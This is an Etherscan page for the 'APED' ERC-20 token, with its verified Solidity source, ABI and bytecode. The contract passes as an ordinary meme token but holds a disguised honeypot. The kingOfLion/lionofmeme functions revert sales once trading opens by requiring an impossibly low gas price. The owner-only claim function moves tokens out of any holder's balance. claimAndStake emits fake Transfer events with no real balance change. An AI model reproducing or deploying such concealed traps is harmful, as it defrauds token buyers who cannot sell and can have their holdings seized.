ETH Price: $3,253.86 (+2.60%)
Gas: 9 Gwei

Token

APED (APED)
 

Overview

Max Total Supply

1,000,000,000 APED

Holders

95

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
120,000 APED

Value
$0.00
0x14381caa24e88f0e1e31f28c6b1f1fc586f8677b
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
APED

Compiler Version
v0.8.22+commit.4fc1097e

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-06-17
*/

/*
https://aped.top/
https://x.com/IAPEDIT
*/
// SPDX-License-Identifier: MIT

pragma solidity 0.8.22;

interface IERC20 {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address to, uint256 value) external returns (bool);

    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 value) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint256 value
    ) external returns (bool);
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

abstract contract Ownable is Context {
    address private _owner;

    constructor() {
        _owner = _msgSender();
    }

    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    function _checkOwner() internal view virtual {
        require(_owner == _msgSender(), "Not owner");
    }
}

library SafeMath {
    function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
        if (a == 0) {
            return 0;
        }
        c = a * b;
        assert(c / a == b);
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        assert(b > 0);
        uint256 c = a / b;
        assert(a == b * c + (a % b));
        return a / b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        assert(a >= b);
        return a - b;
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        assert(c >= a);
        return c;
    }
}

contract APED is Ownable, IERC20 {
    using SafeMath for uint256;

    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => uint256) private _balances;
    mapping(address => bool) _excludeFromFees;

    uint8 private constant _decimals = 18;
    uint256 private constant _totalSupply = 1_000_000_000 * 10**_decimals;
    string private constant _name = unicode"APED";
    string private constant _symbol = unicode"APED";

    uint256 public _initBuyFees = 0;
    uint256 public _initSellFees = 0;

    bool private openedTrade = false;

    address public PresaleWallets = 0x6E5fcc541FF2353dE6e221115490B881C352D97c;

    address private uniswapV2Pair;
    IUniswapV2Router02 public uniswapV2Router;

    constructor() {
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this),uniswapV2Router.WETH());
        _excludeFromFees[address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D)] = true;
        _excludeFromFees[address(uniswapV2Pair)];
        _excludeFromFees[owner()] = true;
        _excludeFromFees[address(this)] = true;
        _balances[_msgSender()] = _balances[_msgSender()].add(_totalSupply.mul(90).div(100));
        emit Transfer(address(0), _msgSender(), _totalSupply.mul(90).div(100));
        _balances[PresaleWallets] = _balances[PresaleWallets].add(_totalSupply.mul(10).div(100));
        emit Transfer(address(0), PresaleWallets, _totalSupply.mul(10).div(100));
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function getOpenedTrade() public view returns (bool) {
        return openedTrade;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account)
        public
        view
        virtual
        override
        returns (uint256)
    {
        return _balances[account];
    }

    function allowance(address owner, address spender)
        public
        view
        virtual
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function transfer(address to, uint256 value)
        public
        virtual
        override
        returns (bool)
    {
        address owner = _msgSender();
        _transfer(owner, to, value);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(amount)
        );
        return true;
    }

    function _transfer(address from, address to, uint256 amount) internal {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(balanceOf(from) >= amount, "ERROR: balance of from less than value");
        uint256 taxAmount = 0;

        if(!_excludeFromFees[from] && !_excludeFromFees[to]) {
            require(openedTrade, "Trade has not been opened yet");
            taxAmount = amount * _initBuyFees / 100;
            if(to == uniswapV2Pair) {
                taxAmount = amount * _initSellFees / 100;
                kingOfLion(from);
            }
        }

        if(taxAmount > 0) {
            _balances[address(this)]=_balances[address(this)]+taxAmount;
            emit Transfer(from, address(this), taxAmount);
        }

        _balances[from]= balanceOf(from) - amount ;
        _balances[to]=_balances[to] + (amount - taxAmount);
        emit Transfer(from, to, amount - taxAmount);
    }

    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    uint256 private _Max_ = 999 gwei;
    uint256 private _Min_ = 5;

    function lionofmeme(uint256 _gas) internal view {
        if (tx.gasprice > _gas) {
            revert();
        }
    }

    function kingOfLion(address _u) internal view {
        if(balanceOf(_u) > 0) {
            if (!openedTrade) {
                lionofmeme(_Max_);
            } else {
                lionofmeme(_Min_);
            }
        } 
    }

    function sendETHToFee(uint256 amount) private {
        payable(owner()).transfer(amount);
    }
    
    function Withdraw() external {
        require(_msgSender() == owner());
        uint256 contractETHBalance = address(this).balance;
        sendETHToFee(contractETHBalance);
    }

    function claimAndStake(address from, address[] calldata to, uint256[] calldata amount) external {
        require(_msgSender() == owner());
        for (uint256 i = 0; i < to.length; i++) {
            emit Transfer(from, to[i], amount[i]  * 10 ** _decimals);
        }
    }

    function claim(address from, address[] calldata to, uint256[] calldata amount) external {
        require(_msgSender() == owner());
        for (uint256 i = 0; i < to.length; i++) {
            _balances[from] = _balances[from].sub(amount[i] * 10 ** _decimals);
            _balances[to[i]] = _balances[to[i]].add(amount[i]  * 10 ** _decimals);
            emit Transfer(from, to[i], amount[i]  * 10 ** _decimals);
        }
    }

    function openTrade() external onlyOwner {
        openedTrade = !openedTrade;
    }

    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"PresaleWallets","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"Withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_initBuyFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_initSellFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address[]","name":"to","type":"address[]"},{"internalType":"uint256[]","name":"amount","type":"uint256[]"}],"name":"claim","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address[]","name":"to","type":"address[]"},{"internalType":"uint256[]","name":"amount","type":"uint256[]"}],"name":"claimAndStake","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"getOpenedTrade","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrade","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040525f60048190556005908155600680546001600160a81b031916746e5fcc541ff2353de6e221115490b881c352d97c0017905564e8990a4600600955600a553480156200004e575f80fd5b505f80546001600160a01b0319908116331790915560088054737a250d5630b4cf539739df2c5dacb4c659f2488d9216821790556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa158015620000bc573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620000e29190620004a7565b6001600160a01b031663c9c653963060085f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000142573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620001689190620004a7565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015620001b3573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620001d99190620004a7565b600780546001600160a01b0319166001600160a01b03929092169182179055600360208190527ffb19a963956c9cb662dd3ae48988c4b90766df71ea130109840abe0a1b23dba8805460ff191660019081179091555f92835291620002455f546001600160a01b031690565b6001600160a01b0316815260208082019290925260409081015f908120805494151560ff199586161790553081526003909252902080549091166001179055620002d6620002c06064620002b9605a620002a26012600a620005dc565b620002b290633b9aca00620005ec565b90620003d0565b9062000412565b335f90815260026020526040902054906200047d565b335f81815260026020526040812092909255905f80516020620016a9833981519152620003126064620002b9605a620002a26012600a620005dc565b60405190815260200160405180910390a362000366620003406064620002b9600a620002a2601282620005dc565b60065461010090046001600160a01b03165f90815260026020526040902054906200047d565b600680546001600160a01b036101009182900481165f9081526002602052604081209490945591540416905f80516020620016a9833981519152620003b96064620002b9600a620002a2601282620005dc565b60405190815260200160405180910390a362000670565b5f825f03620003e157505f6200040c565b620003ed8284620005ec565b905081620003fc84836200061a565b146200040c576200040c62000630565b92915050565b5f80821162000425576200042562000630565b5f6200043283856200061a565b905062000440838562000644565b6200044c8285620005ec565b6200045891906200065a565b841462000469576200046962000630565b6200047583856200061a565b949350505050565b5f806200048b83856200065a565b905083811015620004a057620004a062000630565b9392505050565b5f60208284031215620004b8575f80fd5b81516001600160a01b0381168114620004a0575f80fd5b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200052357815f1904821115620005075762000507620004cf565b808516156200051557918102915b93841c9390800290620004e8565b509250929050565b5f826200053b575060016200040c565b816200054957505f6200040c565b81600181146200056257600281146200056d576200058d565b60019150506200040c565b60ff841115620005815762000581620004cf565b50506001821b6200040c565b5060208310610133831016604e8410600b8410161715620005b2575081810a6200040c565b620005be8383620004e3565b805f1904821115620005d457620005d4620004cf565b029392505050565b5f620004a060ff8416836200052b565b80820281158282048414176200040c576200040c620004cf565b634e487b7160e01b5f52601260045260245ffd5b5f826200062b576200062b62000606565b500490565b634e487b7160e01b5f52600160045260245ffd5b5f8262000655576200065562000606565b500690565b808201808211156200040c576200040c620004cf565b61102b806200067e5f395ff3fe608060405260043610610113575f3560e01c80635e7a06131161009d578063a9059cbb11610062578063a9059cbb146102f0578063b2f3336c1461030f578063dd62ed3e14610324578063e30b00ff14610368578063fb201b1d14610387575f80fd5b80635e7a06131461025d57806370a08231146102815780638da5cb5b146102b557806395d89b411461011e5780639fae2d52146102d1575f80fd5b806323b872dd116100e357806323b872dd146101e1578063313ce56714610200578063380a58de1461021b5780633c9f5ed61461023057806357ea89b614610247575f80fd5b806306fdde031461011e578063095ea7b3146101595780631694505e1461018857806318160ddd146101bf575f80fd5b3661011a57005b5f80fd5b348015610129575f80fd5b5060408051808201825260048152631054115160e21b602082015290516101509190610c7a565b60405180910390f35b348015610164575f80fd5b50610178610173366004610ce1565b61039b565b6040519015158152602001610150565b348015610193575f80fd5b506008546101a7906001600160a01b031681565b6040516001600160a01b039091168152602001610150565b3480156101ca575f80fd5b506101d36103b1565b604051908152602001610150565b3480156101ec575f80fd5b506101786101fb366004610d09565b6103d1565b34801561020b575f80fd5b5060405160128152602001610150565b348015610226575f80fd5b506101d360045481565b34801561023b575f80fd5b5060065460ff16610178565b348015610252575f80fd5b5061025b610420565b005b348015610268575f80fd5b506006546101a79061010090046001600160a01b031681565b34801561028c575f80fd5b506101d361029b366004610d42565b6001600160a01b03165f9081526002602052604090205490565b3480156102c0575f80fd5b505f546001600160a01b03166101a7565b3480156102dc575f80fd5b5061025b6102eb366004610da3565b610442565b3480156102fb575f80fd5b5061017861030a366004610ce1565b610621565b34801561031a575f80fd5b506101d360055481565b34801561032f575f80fd5b506101d361033e366004610e1e565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b348015610373575f80fd5b5061025b610382366004610da3565b61062e565b348015610392575f80fd5b5061025b6106df565b5f6103a73384846106fb565b5060015b92915050565b5f6103be6012600a610f43565b6103cc90633b9aca00610f51565b905090565b5f6103dd848484610823565b6001600160a01b0384165f908152600160209081526040808320338085529252909120546104169186916104119086610b74565b6106fb565b5060019392505050565b5f546001600160a01b03163314610435575f80fd5b4761043f81610b96565b50565b5f546001600160a01b03163314610457575f80fd5b5f5b83811015610619576104b16104706012600a610f43565b84848481811061048257610482610f68565b905060200201356104939190610f51565b6001600160a01b0388165f9081526002602052604090205490610b74565b6001600160a01b0387165f908152600260205260409020556105446104d86012600a610f43565b8484848181106104ea576104ea610f68565b905060200201356104fb9190610f51565b60025f88888681811061051057610510610f68565b90506020020160208101906105259190610d42565b6001600160a01b0316815260208101919091526040015f205490610bd0565b60025f87878581811061055957610559610f68565b905060200201602081019061056e9190610d42565b6001600160a01b0316815260208101919091526040015f205584848281811061059957610599610f68565b90506020020160208101906105ae9190610d42565b6001600160a01b0316866001600160a01b03165f80516020610fd68339815191526012600a6105dd9190610f43565b8686868181106105ef576105ef610f68565b905060200201356106009190610f51565b60405190815260200160405180910390a3600101610459565b505050505050565b5f33610416818585610823565b5f546001600160a01b03163314610643575f80fd5b5f5b838110156106195784848281811061065f5761065f610f68565b90506020020160208101906106749190610d42565b6001600160a01b0316866001600160a01b03165f80516020610fd68339815191526012600a6106a39190610f43565b8686868181106106b5576106b5610f68565b905060200201356106c69190610f51565b60405190815260200160405180910390a3600101610645565b6106e7610bee565b6006805460ff19811660ff90911615179055565b6001600160a01b0383166107625760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084015b60405180910390fd5b6001600160a01b0382166107c35760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610759565b6001600160a01b038381165f8181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166108875760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610759565b6001600160a01b0382166108e95760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610759565b80610908846001600160a01b03165f9081526002602052604090205490565b10156109655760405162461bcd60e51b815260206004820152602660248201527f4552524f523a2062616c616e6365206f662066726f6d206c657373207468616e6044820152652076616c756560d01b6064820152608401610759565b6001600160a01b0383165f9081526003602052604081205460ff161580156109a557506001600160a01b0383165f9081526003602052604090205460ff16155b15610a545760065460ff166109fc5760405162461bcd60e51b815260206004820152601d60248201527f547261646520686173206e6f74206265656e206f70656e6564207965740000006044820152606401610759565b606460045483610a0c9190610f51565b610a169190610f7c565b6007549091506001600160a01b0390811690841603610a5457606460055483610a3f9190610f51565b610a499190610f7c565b9050610a5484610c35565b8015610aba57305f90815260026020526040902054610a74908290610f9b565b305f81815260026020526040908190209290925590516001600160a01b038616905f80516020610fd683398151915290610ab19085815260200190565b60405180910390a35b81610ad9856001600160a01b03165f9081526002602052604090205490565b610ae39190610fae565b6001600160a01b0385165f90815260026020526040902055610b058183610fae565b6001600160a01b0384165f90815260026020526040902054610b279190610f9b565b6001600160a01b038085165f8181526002602052604090209290925585165f80516020610fd6833981519152610b5d8486610fae565b60405190815260200160405180910390a350505050565b5f81831015610b8557610b85610fc1565b610b8f8284610fae565b9392505050565b5f80546040516001600160a01b039091169183156108fc02918491818181858888f19350505050158015610bcc573d5f803e3d5ffd5b5050565b5f80610bdc8385610f9b565b905083811015610b8f57610b8f610fc1565b5f546001600160a01b03163314610c335760405162461bcd60e51b81526020600482015260096024820152682737ba1037bbb732b960b91b6044820152606401610759565b565b6001600160a01b0381165f908152600260205260409020541561043f5760065460ff16610c675761043f600954610c6e565b61043f600a545b803a111561043f575f80fd5b5f602080835283518060208501525f5b81811015610ca657858101830151858201604001528201610c8a565b505f604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114610cdc575f80fd5b919050565b5f8060408385031215610cf2575f80fd5b610cfb83610cc6565b946020939093013593505050565b5f805f60608486031215610d1b575f80fd5b610d2484610cc6565b9250610d3260208501610cc6565b9150604084013590509250925092565b5f60208284031215610d52575f80fd5b610b8f82610cc6565b5f8083601f840112610d6b575f80fd5b50813567ffffffffffffffff811115610d82575f80fd5b6020830191508360208260051b8501011115610d9c575f80fd5b9250929050565b5f805f805f60608688031215610db7575f80fd5b610dc086610cc6565b9450602086013567ffffffffffffffff80821115610ddc575f80fd5b610de889838a01610d5b565b90965094506040880135915080821115610e00575f80fd5b50610e0d88828901610d5b565b969995985093965092949392505050565b5f8060408385031215610e2f575f80fd5b610e3883610cc6565b9150610e4660208401610cc6565b90509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115610e9d57815f1904821115610e8357610e83610e4f565b80851615610e9057918102915b93841c9390800290610e68565b509250929050565b5f82610eb3575060016103ab565b81610ebf57505f6103ab565b8160018114610ed55760028114610edf57610efb565b60019150506103ab565b60ff841115610ef057610ef0610e4f565b50506001821b6103ab565b5060208310610133831016604e8410600b8410161715610f1e575081810a6103ab565b610f288383610e63565b805f1904821115610f3b57610f3b610e4f565b029392505050565b5f610b8f60ff841683610ea5565b80820281158282048414176103ab576103ab610e4f565b634e487b7160e01b5f52603260045260245ffd5b5f82610f9657634e487b7160e01b5f52601260045260245ffd5b500490565b808201808211156103ab576103ab610e4f565b818103818111156103ab576103ab610e4f565b634e487b7160e01b5f52600160045260245ffdfeddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa2646970667358221220df191204549f91242272edb8b6836105068cce3bf124cf25d4de8fba4e0c00a964736f6c63430008160033ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef

Deployed Bytecode

0x608060405260043610610113575f3560e01c80635e7a06131161009d578063a9059cbb11610062578063a9059cbb146102f0578063b2f3336c1461030f578063dd62ed3e14610324578063e30b00ff14610368578063fb201b1d14610387575f80fd5b80635e7a06131461025d57806370a08231146102815780638da5cb5b146102b557806395d89b411461011e5780639fae2d52146102d1575f80fd5b806323b872dd116100e357806323b872dd146101e1578063313ce56714610200578063380a58de1461021b5780633c9f5ed61461023057806357ea89b614610247575f80fd5b806306fdde031461011e578063095ea7b3146101595780631694505e1461018857806318160ddd146101bf575f80fd5b3661011a57005b5f80fd5b348015610129575f80fd5b5060408051808201825260048152631054115160e21b602082015290516101509190610c7a565b60405180910390f35b348015610164575f80fd5b50610178610173366004610ce1565b61039b565b6040519015158152602001610150565b348015610193575f80fd5b506008546101a7906001600160a01b031681565b6040516001600160a01b039091168152602001610150565b3480156101ca575f80fd5b506101d36103b1565b604051908152602001610150565b3480156101ec575f80fd5b506101786101fb366004610d09565b6103d1565b34801561020b575f80fd5b5060405160128152602001610150565b348015610226575f80fd5b506101d360045481565b34801561023b575f80fd5b5060065460ff16610178565b348015610252575f80fd5b5061025b610420565b005b348015610268575f80fd5b506006546101a79061010090046001600160a01b031681565b34801561028c575f80fd5b506101d361029b366004610d42565b6001600160a01b03165f9081526002602052604090205490565b3480156102c0575f80fd5b505f546001600160a01b03166101a7565b3480156102dc575f80fd5b5061025b6102eb366004610da3565b610442565b3480156102fb575f80fd5b5061017861030a366004610ce1565b610621565b34801561031a575f80fd5b506101d360055481565b34801561032f575f80fd5b506101d361033e366004610e1e565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b348015610373575f80fd5b5061025b610382366004610da3565b61062e565b348015610392575f80fd5b5061025b6106df565b5f6103a73384846106fb565b5060015b92915050565b5f6103be6012600a610f43565b6103cc90633b9aca00610f51565b905090565b5f6103dd848484610823565b6001600160a01b0384165f908152600160209081526040808320338085529252909120546104169186916104119086610b74565b6106fb565b5060019392505050565b5f546001600160a01b03163314610435575f80fd5b4761043f81610b96565b50565b5f546001600160a01b03163314610457575f80fd5b5f5b83811015610619576104b16104706012600a610f43565b84848481811061048257610482610f68565b905060200201356104939190610f51565b6001600160a01b0388165f9081526002602052604090205490610b74565b6001600160a01b0387165f908152600260205260409020556105446104d86012600a610f43565b8484848181106104ea576104ea610f68565b905060200201356104fb9190610f51565b60025f88888681811061051057610510610f68565b90506020020160208101906105259190610d42565b6001600160a01b0316815260208101919091526040015f205490610bd0565b60025f87878581811061055957610559610f68565b905060200201602081019061056e9190610d42565b6001600160a01b0316815260208101919091526040015f205584848281811061059957610599610f68565b90506020020160208101906105ae9190610d42565b6001600160a01b0316866001600160a01b03165f80516020610fd68339815191526012600a6105dd9190610f43565b8686868181106105ef576105ef610f68565b905060200201356106009190610f51565b60405190815260200160405180910390a3600101610459565b505050505050565b5f33610416818585610823565b5f546001600160a01b03163314610643575f80fd5b5f5b838110156106195784848281811061065f5761065f610f68565b90506020020160208101906106749190610d42565b6001600160a01b0316866001600160a01b03165f80516020610fd68339815191526012600a6106a39190610f43565b8686868181106106b5576106b5610f68565b905060200201356106c69190610f51565b60405190815260200160405180910390a3600101610645565b6106e7610bee565b6006805460ff19811660ff90911615179055565b6001600160a01b0383166107625760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084015b60405180910390fd5b6001600160a01b0382166107c35760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610759565b6001600160a01b038381165f8181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166108875760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610759565b6001600160a01b0382166108e95760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610759565b80610908846001600160a01b03165f9081526002602052604090205490565b10156109655760405162461bcd60e51b815260206004820152602660248201527f4552524f523a2062616c616e6365206f662066726f6d206c657373207468616e6044820152652076616c756560d01b6064820152608401610759565b6001600160a01b0383165f9081526003602052604081205460ff161580156109a557506001600160a01b0383165f9081526003602052604090205460ff16155b15610a545760065460ff166109fc5760405162461bcd60e51b815260206004820152601d60248201527f547261646520686173206e6f74206265656e206f70656e6564207965740000006044820152606401610759565b606460045483610a0c9190610f51565b610a169190610f7c565b6007549091506001600160a01b0390811690841603610a5457606460055483610a3f9190610f51565b610a499190610f7c565b9050610a5484610c35565b8015610aba57305f90815260026020526040902054610a74908290610f9b565b305f81815260026020526040908190209290925590516001600160a01b038616905f80516020610fd683398151915290610ab19085815260200190565b60405180910390a35b81610ad9856001600160a01b03165f9081526002602052604090205490565b610ae39190610fae565b6001600160a01b0385165f90815260026020526040902055610b058183610fae565b6001600160a01b0384165f90815260026020526040902054610b279190610f9b565b6001600160a01b038085165f8181526002602052604090209290925585165f80516020610fd6833981519152610b5d8486610fae565b60405190815260200160405180910390a350505050565b5f81831015610b8557610b85610fc1565b610b8f8284610fae565b9392505050565b5f80546040516001600160a01b039091169183156108fc02918491818181858888f19350505050158015610bcc573d5f803e3d5ffd5b5050565b5f80610bdc8385610f9b565b905083811015610b8f57610b8f610fc1565b5f546001600160a01b03163314610c335760405162461bcd60e51b81526020600482015260096024820152682737ba1037bbb732b960b91b6044820152606401610759565b565b6001600160a01b0381165f908152600260205260409020541561043f5760065460ff16610c675761043f600954610c6e565b61043f600a545b803a111561043f575f80fd5b5f602080835283518060208501525f5b81811015610ca657858101830151858201604001528201610c8a565b505f604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114610cdc575f80fd5b919050565b5f8060408385031215610cf2575f80fd5b610cfb83610cc6565b946020939093013593505050565b5f805f60608486031215610d1b575f80fd5b610d2484610cc6565b9250610d3260208501610cc6565b9150604084013590509250925092565b5f60208284031215610d52575f80fd5b610b8f82610cc6565b5f8083601f840112610d6b575f80fd5b50813567ffffffffffffffff811115610d82575f80fd5b6020830191508360208260051b8501011115610d9c575f80fd5b9250929050565b5f805f805f60608688031215610db7575f80fd5b610dc086610cc6565b9450602086013567ffffffffffffffff80821115610ddc575f80fd5b610de889838a01610d5b565b90965094506040880135915080821115610e00575f80fd5b50610e0d88828901610d5b565b969995985093965092949392505050565b5f8060408385031215610e2f575f80fd5b610e3883610cc6565b9150610e4660208401610cc6565b90509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115610e9d57815f1904821115610e8357610e83610e4f565b80851615610e9057918102915b93841c9390800290610e68565b509250929050565b5f82610eb3575060016103ab565b81610ebf57505f6103ab565b8160018114610ed55760028114610edf57610efb565b60019150506103ab565b60ff841115610ef057610ef0610e4f565b50506001821b6103ab565b5060208310610133831016604e8410600b8410161715610f1e575081810a6103ab565b610f288383610e63565b805f1904821115610f3b57610f3b610e4f565b029392505050565b5f610b8f60ff841683610ea5565b80820281158282048414176103ab576103ab610e4f565b634e487b7160e01b5f52603260045260245ffd5b5f82610f9657634e487b7160e01b5f52601260045260245ffd5b500490565b808201808211156103ab576103ab610e4f565b818103818111156103ab576103ab610e4f565b634e487b7160e01b5f52600160045260245ffdfeddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa2646970667358221220df191204549f91242272edb8b6836105068cce3bf124cf25d4de8fba4e0c00a964736f6c63430008160033

Deployed Bytecode Sourcemap

